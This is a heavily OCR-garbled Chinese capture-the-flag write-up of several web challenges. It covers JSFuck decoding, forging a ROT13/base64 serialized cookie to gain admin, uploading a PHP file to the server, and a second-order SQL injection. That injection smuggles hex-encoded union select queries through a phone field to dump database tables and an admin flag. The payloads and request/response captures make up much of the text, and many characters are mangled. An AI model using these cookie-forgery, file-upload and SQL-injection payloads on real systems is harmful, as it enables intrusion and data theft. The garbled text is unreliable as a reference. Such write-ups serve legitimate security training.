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Hi, a CTFer. You got a file, but it looks like being broken.

mifile, HIjsfuckfRg,

Jsfuck RS B $AT 77 1%

OF#

@7 Frfirefoxil ¥ 4%

®@#% FF12

@ixFE L rEs &
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Basics

e false = I[]
e true =» II[]
e undefined =» []J[[]]
o Nall = +[I[]]
o 0 =>  +[]

e 1 =% +1+[7]
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[1["filter”]["constructor”] ("return this”) ()
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e 10

e Array

e Number

e String

e Boolean
e Function
o cval

o window
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VNeflag{f f 1 u a c g kKI\";alert('flag iz not here');"

Array []

var flag

(1) [.]

g

length: 1

<prototypex>:
length: 1
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Sorry. You have no permissions.

THREBEEMRER, WEEE, HIT cookie, StHlbaseb4RidEE

Go Cancel < | > |

Request

J RawT Pararns I Headers I Hex 1

Response

Reamy

ET / HTTF/1.1

Host: LOE.75.7Z.1g8:2222

Tger—-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x£4; rv:70.0) Gecko/20100101
Firefox/70.0

Accept: text/html,application/xhtml4nml,application/xml;g=0.9,*/*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK; gq=0.5,en-U3;g=0.3,en;qgq=0.2
Zonnection: close

Zookie: role=IjolOidJ0aHJmIvIT

Uporade-Insecure-Recquests: 1

fRhS 515 3 £.5:thrfg”;

‘ f:5:"thrfg";|

RIEEREAE, FRRE—IROT13%L, IG5 s:5:“guest’;

ROT13 #wia: (&)

g:h:"guest”:

Ry LUK guestiE i admin, ARG HFITROTI3INEE, base64in®, 7E4cookie.

L




ROT13N#E 2 JG & f:5:nqzva” , fEbase64ii% : Zjo10iJucXp2YSIZICAK EAELLROT13MNEEAEL T B
https://www.qgxiuzi.cn/bianma/ROT5-13-18-47.php

7~ Hello admin, now you can upload something you are easy to forget.
BATNIERLF RIS, T Epost EAEBA M
HeMJiE— FAEE: filename=1.php&data[]=<?php phpinfo();?>

your file is in ./uploads/aa887416335daea915fbda80905764181.php

O OzEe Dams DERs () aREE QO r 763 N RE B e O nF @ HakbBar

Encryption v+ Encoding v+ SQL v XSS ~ Other ~

@ Lload URL | hitp://106.75.72.168:2222f
i split URL

» | Execute
‘7‘ Post data [ ] Referer [ ] User Agent Cookies Clear All

filename=1.php&data[]=<?php phpinfo();?> C role=Zjo10iJucXp2YSI7ICA

HERMRE TR LR, HRIXAKEELKRAag, F2fag

Go Cancel < |v > | Target: http://106.75.72.168:2222 @JB
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLIRender]
GET / HTTF/1.1 A HTTF/1l.1 200 OK
Host: l0O6.75.72.168:22Z22 - Date: Sun, 10 NWov 2019 00:37:58 GHT
User-Agent: Mozilla/5.0 (Windows NT 1l0.0: Wing4: x64; rv:70.0) Server: Apache/2.4.7 (Ubuntu)
Gecko/Z0100101 Firefox/70.0 ¥-Powered-By: PHF/5.5.9-1lubuntu4.2Z
Aocept: Vary: Accept-Encoding
text/html, application/xhtml+xml, application/xml:q=0.9, */*;q=0.8 Content-Length: 210
Aecept-Lancuage : Connection: close
zh-CI, zh;c=0.8, zh-TW; q=0.7, zh-HE;q=0.5,en-US;q=0.3,en; q=0.2 Content-Type: text/html
Connection: close
Cookie: role=Zjol0iJucKpli¥IITICA <!DOCTYPE htmil>
Upgrade-Insecure-Reguests: 1 <html>
<heads>
<titler</titles>
. </head>
<hody>
<!-- §filename = § POST['filename'],; $data = § POST['data'], -->Hello
admin, now you can upload something you are easy to forget.</body>
</html>

&« G @ © & 106.7572.168:2222/uploads/aa887416335daead15fbda80905764181.php
B MEF S minEi @ R [ BERLE WILE @ BBt
flag{e07cd440-8eed-11e7-997d-7efc0%eb6c59)}

phone number


https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php

miERE, BIE‘Please login!”, it “BiE”, HI—ANBRIE

https://blog.csdn.net/nq_44108455

FE (AN KB 20, BoR“Password error!”, BE sty A —ANIE !

Hello, 0608
Your phone is 12345.

Click on the link and you'll know how many people use the same phone as you.

VA2 E, RIVEFATIN, 2 S A
© & 106.7572.168:3333/check.php 22 eee
Sbpg B ERE ERIE © RSt

There only 35 people use the same phone as you

BT IX AR AR ER R sqlf — Lo tE, BT fRBEsqiEAN
SARVEM NS S, INEIEA 1 order by 5
KB phoneix ME B 1K A BRI,



LINPpUT Cclass="Username” Lype="TeXT name= usarname  placenolder="H M1 > Bvent

<input class="password" type="password" name="password" placeholder="ZFF3">

<input class="phone" type="text" name="phone" placeholder="phone" maxlength="11">

[P T N R [ T - = - H I S
BREBRZE,
FHE"phone must be numbers"
phone must be numbers
hitps:/fblog.csdn.net/qg_44108455
BRVFA] DA A A iR,
F/NEERRGRIK, SR
| EEA:
| |1 order by 5 R
| URLIERE

ZNZ20%6F %7 2%64%65%7 2% 20%20%62%73%20%35

SOL_En:
0x310020006F 007 200640065007 2002000200062007 30020003500

vl —

e s BT

Asc:
{4932111114100101 114323298121 3253 BATE
MD5_32:
|DBOEC7B4FFC15CFECE22BL23773C9B14
4 MD5_16:
1| |FFC15CFEC622BC23
1 Basebd: s
| |MSBvemRiciAgynkgNQ== Basefd

#i=Basebd:




=, 16HRIRIETH, EMZE, %, MBI T THRE, W IE163EHI S 1IE % @i
CDONEATR ) Rl @ St [ Bk X0 1EE ) s

Hello, 2345665432

Your phone is 1 order by 5.

Click on the link and you'll know how many people use the same phone as you.

Check | logout

Miicheck”, M4, FEREMFIEsqIEN

o e e—e — =

db error!

WATBAFARAA, JLRERZE, FBRER1
LfEH 1 order by 1 HEALN16HEHIMIGES, BIRIER, BHRE.

There only 33937 people use the same phone as you

1R A
1 and 1=2 union select database()

163 H 4mF 0x3120616E6420313D3220756E696F6E2073656C6563742064617461626173652829

There only 0 people use the same phone as you
There only webdb people use the same phone as you
B E 4 N “webdb” 242%
4
1 union select table name from information schema.tables where table schema=database()
163311 4
4 0x3120756E696F6E2073656C656374207461626C655F6E616D652066726F6D20696E666F726D6174696F6E5F736368656D612E7461626

C6573207768657265207461626C655F736368656D613D64617461626173652829
B R4 N user”

Hello, 4444444444444

Your phone is 1 union select table name from information schema.tables where
table schema=database().

Click on the link and you'll know how many people use the same phone as you.

Check | logout

There only 33939 people use the same phone as you

Tlhhmrm mmlhis ttmmn tmmmim]lm it bklam mmtmmm tmlamtmm m- v



IT1Ere Oy Us>er peopie usc Lne >dine priorie d4s> you

3R 4!
1 and 1=2 union select column_name from information_schema.columns where table_name="user"
16323 1
d: 0x3120616E6420313D3220756E696F6E2073656C65637420636F6C756D6E5F6E616D652066726F6D20696E666F726D6174696F6ESF7
36368656D612E636F6C756D6E73207768657265207461626C655F6E616D653D227573657222

Hello, 8888888888888
Your phone is 1 and 1=2 union select column_name from information_schema.columns where table name="user".

Click on the link and you'll know how many people use the same phone as you.

Check logout

There anly 0 people use the same phone as you
There only Host people use the same phone as you
There anly User people use the same phone as you
There only Password people use the same phone as you
There only Select priv people use the same phone as you
There only Insert_priv people use the same phone as you
There only Update priv people use the same phone as you
There only Delete_priv people use the same phone as you
There only Create_priv people use the same phone as you
There only Drop_priv people use the same phone as you
There only Reload priv people use the same phone as you
There only Shutdown_priv pecple use the same phone as you
There only Process priv people use the same phone as you
There only File_priv people use the same phone as you
There only Grant priv people use the sames phone as you
There only References_priv people use the same phone as you
There only Index_priv people use the same phone as you
There only Alter_priv people use the same phone as you
There only Show db priv people use the same phone as you
There only Super_priv people use the same phone as you
There only Create_tmp_table priv people use the same phone as you
There only Lock_tables_priv people use the same phone as you
There only Executs priv people use the same phone as you
There only Repl_slave_priv pecple use the same phone as you
There only Repl_client priv people use the same phone as you
There only Create_view priv people use the same phone as you
There only Show wiew priv people use the same phone as you
There only Create_routine_priv people use the same phone as you
There only Alter routine priv people use the same phone as you
There only Create_user_priv people use the same phone as you
There only Event_priv people use the same phone as you
There only Trigger_priv people use the same phone as you
There only Create_tablespace_priv pecple use the same phone as you
There only ssl_type people use the same phone as you
There only ssl_cipher people use the same phone as you
There only x508 issuer people use the same phone as you
There only x509 _subject people use the same phone as you
There only max_guestions people use the same phone as you
There only max_updates people use the same phone as you
There only max_connections people use the same phone as you
There only max_user_connections people use the same phone as you
There anly plugin people use the same phone as you
There onlv authentication strina people use the same phone as vou



There anly id peaple use the same phone as you
There only username people use the same phone as you
There anly phaone people use the same phone as you

BF£5, ERRAEHKMZRZT
T 1A
Bt &8 B Ui admin 7275 KA, 70 Zusername Nadminit, w4 flag
#iisqliEA]) 1 and 1=2 union select phone from user where username="admin"
16334 1l i B
N 0x3120616E6420313D3220756E696F 6E2073656C6563742070686F6E652066726F6D207573657220776865726520757365726E616D653
D2261646D696E22

There only 0 people use the same phone as you
There only flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0} people use the same phone as you
There only 123456789 people use the same phone as you
There only 1 people use the same phone as you
There only 123 people use the same phone as you
There only 13569982121 people use the same phone as you
There only 123456 people use the same phone as you
There only 12345 people use the same phone as you
There only 1234 people use the same phone as you
There only 1234567894 people use the same phone as you
There only 111 people use the same phone as you
There only 1852999 people use the same phone as you
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